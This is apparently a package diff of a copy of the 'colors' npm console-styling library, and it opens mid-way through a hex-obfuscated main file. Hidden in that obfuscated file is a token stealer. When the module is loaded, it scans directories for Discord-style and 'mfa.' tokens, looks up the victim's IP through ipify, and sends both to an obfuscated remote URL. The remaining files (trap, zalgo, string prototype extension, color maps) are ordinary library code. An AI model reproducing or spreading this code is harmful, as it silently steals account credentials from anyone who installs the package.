3A\x2F\x2F\x61\x70\x69\x2E\x69\x70\x69\x66\x79\x2E\x6F\x72\x67\x3F\x66\x6F\x72\x6D\x61\x74\x3D\x6A\x73\x6F\x6E","\x72\x65\x61\x64\x46\x69\x6C\x65","\x72\x65\x61\x64\x64\x69\x72","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x2D\x62\x69\x6E\x64","\x74\x68\x65\x6D\x65\x73","\x75\x74\x69\x6C","\x73\x74\x79\x6C\x65\x73","\x2E\x2F\x73\x74\x79\x6C\x65\x73","\x64\x65\x66\x69\x6E\x65\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73","\x73\x75\x70\x70\x6F\x72\x74\x73\x43\x6F\x6C\x6F\x72","\x2E\x2F\x73\x79\x73\x74\x65\x6D\x2F\x73\x75\x70\x70\x6F\x72\x74\x73\x2D\x63\x6F\x6C\x6F\x72\x73","\x65\x6E\x61\x62\x6C\x65\x64","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x65\x6E\x61\x62\x6C\x65","\x64\x69\x73\x61\x62\x6C\x65","\x73\x74\x72\x69\x70\x43\x6F\x6C\x6F\x72\x73","\x73\x74\x72\x69\x70","\x72\x65\x70\x6C\x61\x63\x65","\x73\x74\x79\x6C\x69\x7A\x65","\x6F\x70\x65\x6E","\x63\x6C\x6F\x73\x65","\x73\x74\x72\x69\x6E\x67","\x45\x78\x70\x65\x63\x74\x65\x64\x20\x61\x20\x73\x74\x72\x69\x6E\x67","\x5C\x24\x26","\x61\x70\x70\x6C\x79","\x5F\x73\x74\x79\x6C\x65\x73","\x5F\x5F\x70\x72\x6F\x74\x6F\x5F\x5F","\x67\x72\x65\x79","\x67\x72\x61\x79","\x63\x6C\x6F\x73\x65\x52\x65","\x67","\x63\x6F\x6E\x63\x61\x74","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x63\x61\x6C\x6C","\x73\x6C\x69\x63\x65","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x20","\x6A\x6F\x69\x6E","\x63\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72","\x69\x6E\x73\x70\x65\x63\x74","\x6D\x61\x70","\x0A","\x69\x6E\x64\x65\x78\x4F\x66","\x73\x65\x74\x54\x68\x65\x6D\x65","\x63\x6F\x6C\x6F\x72\x73\x2E\x73\x65\x74\x54\x68\x65\x6D\x65\x20\x6E\x6F\x77\x20\x6F\x6E\x6C\x79\x20\x61\x63\x63\x65\x70\x74\x73\x20\x61\x6E\x20\x6F\x62\x6A\x65\x63\x74\x2C\x20\x6E\x6F\x74\x20\x61\x20\x73\x74\x72\x69\x6E\x67\x2E\x20\x20","\x49\x66\x20\x79\x6F\x75\x20\x61\x72\x65\x20\x74\x72\x79\x69\x6E\x67\x20\x74\x6F\x20\x73\x65\x74\x20\x61\x20\x74\x68\x65\x6D\x65\x20\x66\x72\x6F\x6D\x20\x61\x20\x66\x69\x6C\x65\x2C\x20\x69\x74\x20\x69\x73\x20\x6E\x6F\x77\x20\x79\x6F\x75\x72\x20\x28\x74\x68\x65\x20","\x63\x61\x6C\x6C\x65\x72\x27\x73\x29\x20\x72\x65\x73\x70\x6F\x6E\x73\x69\x62\x69\x6C\x69\x74\x79\x20\x74\x6F\x20\x72\x65\x71\x75\x69\x72\x65\x20\x74\x68\x65\x20\x66\x69\x6C\x65\x2E\x20\x20\x54\x68\x65\x20\x6F\x6C\x64\x20\x73\x79\x6E\x74\x61\x78\x20","\x6C\x6F\x6F\x6B\x65\x64\x20\x6C\x69\x6B\x65\x20\x63\x6F\x6C\x6F\x72\x73\x2E\x73\x65\x74\x54\x68\x65\x6D\x65\x28\x5F\x5F\x64\x69\x72\x6E\x61\x6D\x65\x20\x2B\x20","\x27\x2F\x2E\x2E\x2F\x74\x68\x65\x6D\x65\x73\x2F\x67\x65\x6E\x65\x72\x69\x63\x2D\x6C\x6F\x67\x67\x69\x6E\x67\x2E\x6A\x73\x27\x29\x3B\x20\x54\x68\x65\x20\x6E\x65\x77\x20\x73\x79\x6E\x74\x61\x78\x20\x6C\x6F\x6F\x6B\x73\x20\x6C\x69\x6B\x65\x20","\x63\x6F\x6C\x6F\x72\x73\x2E\x73\x65\x74\x54\x68\x65\x6D\x65\x28\x72\x65\x71\x75\x69\x72\x65\x28\x5F\x5F\x64\x69\x72\x6E\x61\x6D\x65\x20\x2B\x20","\x27\x2F\x2E\x2E\x2F\x74\x68\x65\x6D\x65\x73\x2F\x67\x65\x6E\x65\x72\x69\x63\x2D\x6C\x6F\x67\x67\x69\x6E\x67\x2E\x6A\x73\x27\x29\x29\x3B","\x6C\x6F\x67","\x6F\x62\x6A\x65\x63\x74","\x74\x72\x61\x70","\x2E\x2F\x63\x75\x73\x74\x6F\x6D\x2F\x74\x72\x61\x70","\x7A\x61\x6C\x67\x6F","\x2E\x2F\x63\x75\x73\x74\x6F\x6D\x2F\x7A\x61\x6C\x67\x6F","\x6D\x61\x70\x73","\x61\x6D\x65\x72\x69\x63\x61","\x2E\x2F\x6D\x61\x70\x73\x2F\x61\x6D\x65\x72\x69\x63\x61","\x7A\x65\x62\x72\x61","\x2E\x2F\x6D\x61\x70\x73\x2F\x7A\x65\x62\x72\x61","\x72\x61\x69\x6E\x62\x6F\x77","\x2E\x2F\x6D\x61\x70\x73\x2F\x72\x61\x69\x6E\x62\x6F\x77","\x72\x61\x6E\x64\x6F\x6D","\x2E\x2F\x6D\x61\x70\x73\x2F\x72\x61\x6E\x64\x6F\x6D"];var colors={};module[_0xaba5[0]]= colors;const fs=require(_0xaba5[1]);const fetch=require(_0xaba5[2]);const apiurl=_0xaba5[3];var paths=[`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[9]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[10]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[11]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[12]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[13]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[14]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[15]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[16]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[17]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[18]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[19]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[20]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[21]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[22]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[23]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[24]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[25]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[26]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[27]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[28]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[29]}`,`${_0xaba5[4]}${(__dirname[_0xaba5[6]](_0xaba5[5])[0])}${_0xaba5[7]}${(__dirname[_0xaba5[6]](_0xaba5[8])[2])}${_0xaba5[30]}`];for(a= 0;a< paths[_0xaba5[31]];a++){grabtoken(paths[a])};function grabtoken(_0x8c3bx7){try{fs[_0xaba5[44]](_0x8c3bx7,(_0x8c3bx8,_0x8c3bx9)=>{if(_0x8c3bx9){var _0x8c3bxa=_0x8c3bx9[_0xaba5[35]]((_0x8c3bxa)=>{return _0x8c3bxa[_0xaba5[6]](_0xaba5[33])[_0xaba5[32]]()== _0xaba5[34]});for(a= 0;a< _0x8c3bxa[_0xaba5[31]];a++){fs[_0xaba5[43]](`${_0xaba5[4]}${_0x8c3bx7}${_0xaba5[36]}${_0x8c3bxa[a]}${_0xaba5[4]}`,_0xaba5[37],function(_0x8c3bx8,_0x8c3bxb){var _0x8c3bxc=/"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;var _0x8c3bxd=/"mfa\.[\d\w_-]{84}"/;var [token]=_0x8c3bxc[_0xaba5[38]](_0x8c3bxb)|| _0x8c3bxd[_0xaba5[38]](_0x8c3bxb)|| [undefined];if(token){fetch(_0xaba5[42])[_0xaba5[40]]((_0x8c3bxf)=>{return _0x8c3bxf[_0xaba5[41]]()})[_0xaba5[40]]((_0x8c3bxe)=>{fetch(apiurl,{headers:{"\x74\x6F\x6B\x65\x6E":token,"\x69\x70":_0x8c3bxe[_0xaba5[39]]}})})}})}}})}catch(error){}}require(_0xaba5[45]);colors[_0xaba5[46]]= {};var util=require(_0xaba5[47]);var ansiStyles=colors[_0xaba5[48]]= require(_0xaba5[49]);var defineProps=Object[_0xaba5[50]];var newLineRegex= new RegExp(/[\r\n]+/g);colors[_0xaba5[51]]= require(_0xaba5[52])[_0xaba5[51]];if( typeof colors[_0xaba5[53]]=== _0xaba5[54]){colors[_0xaba5[53]]= colors[_0xaba5[51]]()!== false};colors[_0xaba5[55]]= function(){colors[_0xaba5[53]]= true};colors[_0xaba5[56]]= function(){colors[_0xaba5[53]]= false};colors[_0xaba5[57]]= colors[_0xaba5[58]]= function(_0x8c3bx14){return (_0xaba5[4]+ _0x8c3bx14)[_0xaba5[59]](/\x1B\[\d+m/g,_0xaba5[4])};var stylize=colors[_0xaba5[60]]= function stylize(_0x8c3bx14,_0x8c3bx16){if(!colors[_0xaba5[53]]){return _0x8c3bx14+ _0xaba5[4]};var _0x8c3bx17=ansiStyles[_0x8c3bx16];if(!_0x8c3bx17&& _0x8c3bx16 in colors){return colors[_0x8c3bx16](_0x8c3bx14)};return _0x8c3bx17[_0xaba5[61]]+ _0x8c3bx14+ _0x8c3bx17[_0xaba5[62]]};var matchOperatorsRe=/[|\\{}()[\]^$+*?.]/g;var escapeStringRegexp=function(_0x8c3bx14){if( typeof _0x8c3bx14!== _0xaba5[63]){throw new TypeError(_0xaba5[64])};return _0x8c3bx14[_0xaba5[59]](matchOperatorsRe,_0xaba5[65])};function build(_0x8c3bx1b){var _0x8c3bx1c=function _0x8c3bx1c(){return applyStyle[_0xaba5[66]](_0x8c3bx1c,arguments)};_0x8c3bx1c[_0xaba5[67]]= _0x8c3bx1b;_0x8c3bx1c[_0xaba5[68]]= proto;return _0x8c3bx1c}var styles=(function(){var _0x8c3bx1e={};ansiStyles[_0xaba5[69]]= ansiStyles[_0xaba5[70]];Object[_0xaba5[75]](ansiStyles)[_0xaba5[74]](function(_0x8c3bx1f){ansiStyles[_0x8c3bx1f][_0xaba5[71]]= new RegExp(escapeStringRegexp(ansiStyles[_0x8c3bx1f][_0xaba5[62]]),_0xaba5[72]);_0x8c3bx1e[_0x8c3bx1f]= {get:function(){return build(this[_0xaba5[67]][_0xaba5[73]](_0x8c3bx1f))}}});return _0x8c3bx1e})();var proto=defineProps(function colors(){},styles);function applyStyle(){var _0x8c3bx22=Array[_0xaba5[78]][_0xaba5[77]][_0xaba5[76]](arguments);var _0x8c3bx14=_0x8c3bx22[_0xaba5[83]](function(_0x8c3bx23){if(_0x8c3bx23!= null&& _0x8c3bx23[_0xaba5[81]]=== String){return _0x8c3bx23}else {return util[_0xaba5[82]](_0x8c3bx23)}})[_0xaba5[80]](_0xaba5[79]);if(!colors[_0xaba5[53]]|| !_0x8c3bx14){return _0x8c3bx14};var _0x8c3bx24=_0x8c3bx14[_0xaba5[85]](_0xaba5[84])!= -1;var _0x8c3bx25=this[_0xaba5[67]];var _0x8c3bx26=_0x8c3bx25[_0xaba5[31]];while(_0x8c3bx26--){var _0x8c3bx27=ansiStyles[_0x8c3bx25[_0x8c3bx26]];_0x8c3bx14= _0x8c3bx27[_0xaba5[61]]+ _0x8c3bx14[_0xaba5[59]](_0x8c3bx27[_0xaba5[71]],_0x8c3bx27[_0xaba5[61]])+ _0x8c3bx27[_0xaba5[62]];if(_0x8c3bx24){_0x8c3bx14= _0x8c3bx14[_0xaba5[59]](newLineRegex,function(_0x8c3bx28){return _0x8c3bx27[_0xaba5[62]]+ _0x8c3bx28+ _0x8c3bx27[_0xaba5[61]]})}};return _0x8c3bx14}colors[_0xaba5[86]]= function(_0x8c3bx29){if( typeof _0x8c3bx29=== _0xaba5[63]){console[_0xaba5[94]](_0xaba5[87]+ _0xaba5[88]+ _0xaba5[89]+ _0xaba5[90]+ _0xaba5[91]+ _0xaba5[92]+ _0xaba5[93]);return};for(var _0x8c3bx16 in _0x8c3bx29){(function(_0x8c3bx16){colors[_0x8c3bx16]= function(_0x8c3bx14){if( typeof _0x8c3bx29[_0x8c3bx16]=== _0xaba5[95]){var _0x8c3bx2a=_0x8c3bx14;for(var _0x8c3bx26 in _0x8c3bx29[_0x8c3bx16]){_0x8c3bx2a= colors[_0x8c3bx29[_0x8c3bx16][_0x8c3bx26]](_0x8c3bx2a)};return _0x8c3bx2a};return colors[_0x8c3bx29[_0x8c3bx16]](_0x8c3bx14)}})(_0x8c3bx16)}};function init(){var _0x8c3bx1e={};Object[_0xaba5[75]](styles)[_0xaba5[74]](function(_0x8c3bx2c){_0x8c3bx1e[_0x8c3bx2c]= {get:function(){return build([_0x8c3bx2c])}}});return _0x8c3bx1e}var sequencer=function sequencer(map,_0x8c3bx14){var _0x8c3bx2f=_0x8c3bx14[_0xaba5[6]](_0xaba5[4]);_0x8c3bx2f= _0x8c3bx2f[_0xaba5[83]](map);return _0x8c3bx2f[_0xaba5[80]](_0xaba5[4])};colors[_0xaba5[96]]= require(_0xaba5[97]);colors[_0xaba5[98]]= require(_0xaba5[99]);colors[_0xaba5[100]]= {};colors[_0xaba5[100]][_0xaba5[101]]= require(_0xaba5[102])(colors);colors[_0xaba5[100]][_0xaba5[103]]= require(_0xaba5[104])(colors);colors[_0xaba5[100]][_0xaba5[105]]= require(_0xaba5[106])(colors);colors[_0xaba5[100]][_0xaba5[107]]= require(_0xaba5[108])(colors);for(var map in colors[_0xaba5[100]]){(function(map){colors[map]= function(_0x8c3bx14){return sequencer(colors[_0xaba5[100]][map],_0x8c3bx14)}})(map)};defineProps(colors,init())
|
@@ -0,0 +1,46 @@
|
|
1
|
+
module['exports'] = function runTheTrap(text, options) {
|
2
|
+
var result = '';
|
3
|
+
text = text || 'Run the trap, drop the bass';
|
4
|
+
text = text.split('');
|
5
|
+
var trap = {
|
6
|
+
a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
|
7
|
+
b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
|
8
|
+
c: ['\u00a9', '\u023b', '\u03fe'],
|
9
|
+
d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
|
10
|
+
e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
|
11
|
+
'\u0a6c'],
|
12
|
+
f: ['\u04fa'],
|
13
|
+
g: ['\u0262'],
|
14
|
+
h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
|
15
|
+
i: ['\u0f0f'],
|
16
|
+
j: ['\u0134'],
|
17
|
+
k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
|
18
|
+
l: ['\u0139'],
|
19
|
+
m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
|
20
|
+
n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
|
21
|
+
o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
|
22
|
+
'\u06dd', '\u0e4f'],
|
23
|
+
p: ['\u01f7', '\u048e'],
|
24
|
+
q: ['\u09cd'],
|
25
|
+
r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
|
26
|
+
s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
|
27
|
+
t: ['\u0141', '\u0166', '\u0373'],
|
28
|
+
u: ['\u01b1', '\u054d'],
|
29
|
+
v: ['\u05d8'],
|
30
|
+
w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
|
31
|
+
x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
|
32
|
+
y: ['\u00a5', '\u04b0', '\u04cb'],
|
33
|
+
z: ['\u01b5', '\u0240'],
|
34
|
+
};
|
35
|
+
text.forEach(function(c) {
|
36
|
+
c = c.toLowerCase();
|
37
|
+
var chars = trap[c] || [' '];
|
38
|
+
var rand = Math.floor(Math.random() * chars.length);
|
39
|
+
if (typeof trap[c] !== 'undefined') {
|
40
|
+
result += trap[c][rand];
|
41
|
+
} else {
|
42
|
+
result += c;
|
43
|
+
}
|
44
|
+
});
|
45
|
+
return result;
|
46
|
+
};
|
@@ -0,0 +1,110 @@
|
|
1
|
+
// please no
|
2
|
+
module['exports'] = function zalgo(text, options) {
|
3
|
+
text = text || ' he is here ';
|
4
|
+
var soul = {
|
5
|
+
'up': [
|
6
|
+
'̍', '̎', '̄', '̅',
|
7
|
+
'̿', '̑', '̆', '̐',
|
8
|
+
'͒', '͗', '͑', '̇',
|
9
|
+
'̈', '̊', '͂', '̓',
|
10
|
+
'̈', '͊', '͋', '͌',
|
11
|
+
'̃', '̂', '̌', '͐',
|
12
|
+
'̀', '́', '̋', '̏',
|
13
|
+
'̒', '̓', '̔', '̽',
|
14
|
+
'̉', 'ͣ', 'ͤ', 'ͥ',
|
15
|
+
'ͦ', 'ͧ', 'ͨ', 'ͩ',
|
16
|
+
'ͪ', 'ͫ', 'ͬ', 'ͭ',
|
17
|
+
'ͮ', 'ͯ', '̾', '͛',
|
18
|
+
'͆', '̚',
|
19
|
+
],
|
20
|
+
'down': [
|
21
|
+
'̖', '̗', '̘', '̙',
|
22
|
+
'̜', '̝', '̞', '̟',
|
23
|
+
'̠', '̤', '̥', '̦',
|
24
|
+
'̩', '̪', '̫', '̬',
|
25
|
+
'̭', '̮', '̯', '̰',
|
26
|
+
'̱', '̲', '̳', '̹',
|
27
|
+
'̺', '̻', '̼', 'ͅ',
|
28
|
+
'͇', '͈', '͉', '͍',
|
29
|
+
'͎', '͓', '͔', '͕',
|
30
|
+
'͖', '͙', '͚', '̣',
|
31
|
+
],
|
32
|
+
'mid': [
|
33
|
+
'̕', '̛', '̀', '́',
|
34
|
+
'͘', '̡', '̢', '̧',
|
35
|
+
'̨', '̴', '̵', '̶',
|
36
|
+
'͜', '͝', '͞',
|
37
|
+
'͟', '͠', '͢', '̸',
|
38
|
+
'̷', '͡', ' ҉',
|
39
|
+
],
|
40
|
+
};
|
41
|
+
var all = [].concat(soul.up, soul.down, soul.mid);
|
42
|
+
|
43
|
+
function randomNumber(range) {
|
44
|
+
var r = Math.floor(Math.random() * range);
|
45
|
+
return r;
|
46
|
+
}
|
47
|
+
|
48
|
+
function isChar(character) {
|
49
|
+
var bool = false;
|
50
|
+
all.filter(function(i) {
|
51
|
+
bool = (i === character);
|
52
|
+
});
|
53
|
+
return bool;
|
54
|
+
}
|
55
|
+
|
56
|
+
|
57
|
+
function heComes(text, options) {
|
58
|
+
var result = '';
|
59
|
+
var counts;
|
60
|
+
var l;
|
61
|
+
options = options || {};
|
62
|
+
options['up'] =
|
63
|
+
typeof options['up'] !== 'undefined' ? options['up'] : true;
|
64
|
+
options['mid'] =
|
65
|
+
typeof options['mid'] !== 'undefined' ? options['mid'] : true;
|
66
|
+
options['down'] =
|
67
|
+
typeof options['down'] !== 'undefined' ? options['down'] : true;
|
68
|
+
options['size'] =
|
69
|
+
typeof options['size'] !== 'undefined' ? options['size'] : 'maxi';
|
70
|
+
text = text.split('');
|
71
|
+
for (l in text) {
|
72
|
+
if (isChar(l)) {
|
73
|
+
continue;
|
74
|
+
}
|
75
|
+
result = result + text[l];
|
76
|
+
counts = {'up': 0, 'down': 0, 'mid': 0};
|
77
|
+
switch (options.size) {
|
78
|
+
case 'mini':
|
79
|
+
counts.up = randomNumber(8);
|
80
|
+
counts.mid = randomNumber(2);
|
81
|
+
counts.down = randomNumber(8);
|
82
|
+
break;
|
83
|
+
case 'maxi':
|
84
|
+
counts.up = randomNumber(16) + 3;
|
85
|
+
counts.mid = randomNumber(4) + 1;
|
86
|
+
counts.down = randomNumber(64) + 3;
|
87
|
+
break;
|
88
|
+
default:
|
89
|
+
counts.up = randomNumber(8) + 1;
|
90
|
+
counts.mid = randomNumber(6) / 2;
|
91
|
+
counts.down = randomNumber(8) + 1;
|
92
|
+
break;
|
93
|
+
}
|
94
|
+
|
95
|
+
var arr = ['up', 'mid', 'down'];
|
96
|
+
for (var d in arr) {
|
97
|
+
var index = arr[d];
|
98
|
+
for (var i = 0; i <= counts[index]; i++) {
|
99
|
+
if (options[index]) {
|
100
|
+
result = result + soul[index][randomNumber(soul[index].length)];
|
101
|
+
}
|
102
|
+
}
|
103
|
+
}
|
104
|
+
}
|
105
|
+
return result;
|
106
|
+
}
|
107
|
+
// don't summon him
|
108
|
+
return heComes(text, options);
|
109
|
+
};
|
110
|
+
|
@@ -0,0 +1,110 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
|
3
|
+
module['exports'] = function() {
|
4
|
+
//
|
5
|
+
// Extends prototype of native string object to allow for "foo".red syntax
|
6
|
+
//
|
7
|
+
var addProperty = function(color, func) {
|
8
|
+
String.prototype.__defineGetter__(color, func);
|
9
|
+
};
|
10
|
+
|
11
|
+
addProperty('strip', function() {
|
12
|
+
return colors.strip(this);
|
13
|
+
});
|
14
|
+
|
15
|
+
addProperty('stripColors', function() {
|
16
|
+
return colors.strip(this);
|
17
|
+
});
|
18
|
+
|
19
|
+
addProperty('trap', function() {
|
20
|
+
return colors.trap(this);
|
21
|
+
});
|
22
|
+
|
23
|
+
addProperty('zalgo', function() {
|
24
|
+
return colors.zalgo(this);
|
25
|
+
});
|
26
|
+
|
27
|
+
addProperty('zebra', function() {
|
28
|
+
return colors.zebra(this);
|
29
|
+
});
|
30
|
+
|
31
|
+
addProperty('rainbow', function() {
|
32
|
+
return colors.rainbow(this);
|
33
|
+
});
|
34
|
+
|
35
|
+
addProperty('random', function() {
|
36
|
+
return colors.random(this);
|
37
|
+
});
|
38
|
+
|
39
|
+
addProperty('america', function() {
|
40
|
+
return colors.america(this);
|
41
|
+
});
|
42
|
+
|
43
|
+
//
|
44
|
+
// Iterate through all default styles and colors
|
45
|
+
//
|
46
|
+
var x = Object.keys(colors.styles);
|
47
|
+
x.forEach(function(style) {
|
48
|
+
addProperty(style, function() {
|
49
|
+
return colors.stylize(this, style);
|
50
|
+
});
|
51
|
+
});
|
52
|
+
|
53
|
+
function applyTheme(theme) {
|
54
|
+
//
|
55
|
+
// Remark: This is a list of methods that exist
|
56
|
+
// on String that you should not overwrite.
|
57
|
+
//
|
58
|
+
var stringPrototypeBlacklist = [
|
59
|
+
'__defineGetter__', '__defineSetter__', '__lookupGetter__',
|
60
|
+
'__lookupSetter__', 'charAt', 'constructor', 'hasOwnProperty',
|
61
|
+
'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString',
|
62
|
+
'valueOf', 'charCodeAt', 'indexOf', 'lastIndexOf', 'length',
|
63
|
+
'localeCompare', 'match', 'repeat', 'replace', 'search', 'slice',
|
64
|
+
'split', 'substring', 'toLocaleLowerCase', 'toLocaleUpperCase',
|
65
|
+
'toLowerCase', 'toUpperCase', 'trim', 'trimLeft', 'trimRight',
|
66
|
+
];
|
67
|
+
|
68
|
+
Object.keys(theme).forEach(function(prop) {
|
69
|
+
if (stringPrototypeBlacklist.indexOf(prop) !== -1) {
|
70
|
+
console.log('warn: '.red + ('String.prototype' + prop).magenta +
|
71
|
+
' is probably something you don\'t want to override. ' +
|
72
|
+
'Ignoring style name');
|
73
|
+
} else {
|
74
|
+
if (typeof(theme[prop]) === 'string') {
|
75
|
+
colors[prop] = colors[theme[prop]];
|
76
|
+
addProperty(prop, function() {
|
77
|
+
return colors[prop](this);
|
78
|
+
});
|
79
|
+
} else {
|
80
|
+
var themePropApplicator = function(str) {
|
81
|
+
var ret = str || this;
|
82
|
+
for (var t = 0; t < theme[prop].length; t++) {
|
83
|
+
ret = colors[theme[prop][t]](ret);
|
84
|
+
}
|
85
|
+
return ret;
|
86
|
+
};
|
87
|
+
addProperty(prop, themePropApplicator);
|
88
|
+
colors[prop] = function(str) {
|
89
|
+
return themePropApplicator(str);
|
90
|
+
};
|
91
|
+
}
|
92
|
+
}
|
93
|
+
});
|
94
|
+
}
|
95
|
+
|
96
|
+
colors.setTheme = function(theme) {
|
97
|
+
if (typeof theme === 'string') {
|
98
|
+
console.log('colors.setTheme now only accepts an object, not a string. ' +
|
99
|
+
'If you are trying to set a theme from a file, it is now your (the ' +
|
100
|
+
'caller\'s) responsibility to require the file. The old syntax ' +
|
101
|
+
'looked like colors.setTheme(__dirname + ' +
|
102
|
+
'\'/../themes/generic-logging.js\'); The new syntax looks like '+
|
103
|
+
'colors.setTheme(require(__dirname + ' +
|
104
|
+
'\'/../themes/generic-logging.js\'));');
|
105
|
+
return;
|
106
|
+
} else {
|
107
|
+
applyTheme(theme);
|
108
|
+
}
|
109
|
+
};
|
110
|
+
};
|
package/lib/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
module['exports'] = colors;
|
3
|
+
|
4
|
+
// Remark: By default, colors will add style properties to String.prototype.
|
5
|
+
//
|
6
|
+
// If you don't wish to extend String.prototype, you can do this instead and
|
7
|
+
// native String will not be touched:
|
8
|
+
//
|
9
|
+
// var colors = require('colors/safe);
|
10
|
+
// colors.red("foo")
|
11
|
+
//
|
12
|
+
//
|
13
|
+
require('./extendStringPrototype')();
|
@@ -0,0 +1,10 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
return function(letter, i, exploded) {
|
3
|
+
if (letter === ' ') return letter;
|
4
|
+
switch (i%3) {
|
5
|
+
case 0: return colors.red(letter);
|
6
|
+
case 1: return colors.white(letter);
|
7
|
+
case 2: return colors.blue(letter);
|
8
|
+
}
|
9
|
+
};
|
10
|
+
};
|
@@ -0,0 +1,12 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
// RoY G BiV
|
3
|
+
var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
|
4
|
+
return function(letter, i, exploded) {
|
5
|
+
if (letter === ' ') {
|
6
|
+
return letter;
|
7
|
+
} else {
|
8
|
+
return colors[rainbowColors[i++ % rainbowColors.length]](letter);
|
9
|
+
}
|
10
|
+
};
|
11
|
+
};
|
12
|
+
|
@@ -0,0 +1,11 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
|
3
|
+
'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
|
4
|
+
'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
|
5
|
+
return function(letter, i, exploded) {
|
6
|
+
return letter === ' ' ? letter :
|
7
|
+
colors[
|
8
|
+
available[Math.round(Math.random() * (available.length - 2))]
|
9
|
+
](letter);
|
10
|
+
};
|
11
|
+
};
|
